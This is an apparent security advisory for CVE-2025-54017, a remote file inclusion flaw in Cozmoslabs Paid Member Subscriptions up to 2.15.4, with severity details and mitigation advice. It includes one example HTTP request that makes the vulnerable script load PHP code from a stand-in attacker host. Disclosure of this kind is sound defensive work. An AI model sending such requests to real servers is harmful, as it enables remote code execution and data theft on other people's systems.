Overview
The vulnerability CVE-2025-54017 is a significant security flaw that affects the Cozmoslabs Paid Member Subscriptions software. It arises due to improper control of filename for Include/Require Statement in a PHP Program, leading to a PHP Remote File Inclusion. This vulnerability can lead to significant system compromise or data leakage, making it a serious concern for any users or administrators of this software.
Vulnerability Summary
CVE ID: CVE-2025-54017
Severity: High – CVSS Score 7.5
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise and potential data leakage
Affected Products
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Product | Affected Versions
Cozmoslabs Paid Member Subscriptions | n/a – 2.15.4
How the Exploit Works
The vulnerability is exploited by an attacker through manipulating the filename in an include/require statement in PHP, leading to PHP Remote File Inclusion. This allows the attacker to execute arbitrary PHP code on the server and potentially gain unauthorized access.
Conceptual Example Code
Here is a conceptual example of how the vulnerability might be exploited:
GET /path/to/vulnerable/script.php?file=http://attacker.com/malicious_script.txt HTTP/1.1
Host: vulnerable.site.comIn this example, the attacker has manipulated the “file” parameter in the GET request to include a remote file from their own server (“attacker.com”). This file (“malicious_script.txt”) could contain arbitrary PHP code that, when executed, could compromise the system or leak sensitive data.
Mitigation Guidance
Users are advised to apply the vendor patch as soon as it becomes available. As an immediate yet temporary mitigation measure, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help to detect and prevent exploit attempts.
